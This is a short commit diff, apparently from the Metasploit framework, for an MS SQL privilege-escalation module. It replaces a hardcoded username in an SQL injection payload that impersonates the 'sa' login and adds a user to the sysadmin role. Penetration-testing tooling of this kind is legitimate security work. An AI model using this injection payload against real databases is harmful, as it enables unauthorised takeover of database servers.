fixed hardcoded username

Author: nullbind

modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb

@@ -193,7 +193,7 @@ def check_imp_sysadmin(imp_user_list)
   def escalate_privs(imp_user,db_user)
 
     # Setup Query - Impersonate the first sysadmin user on the list
-    evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
+    evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"
 
     # Execute Query
     mssql_query(evil_sql)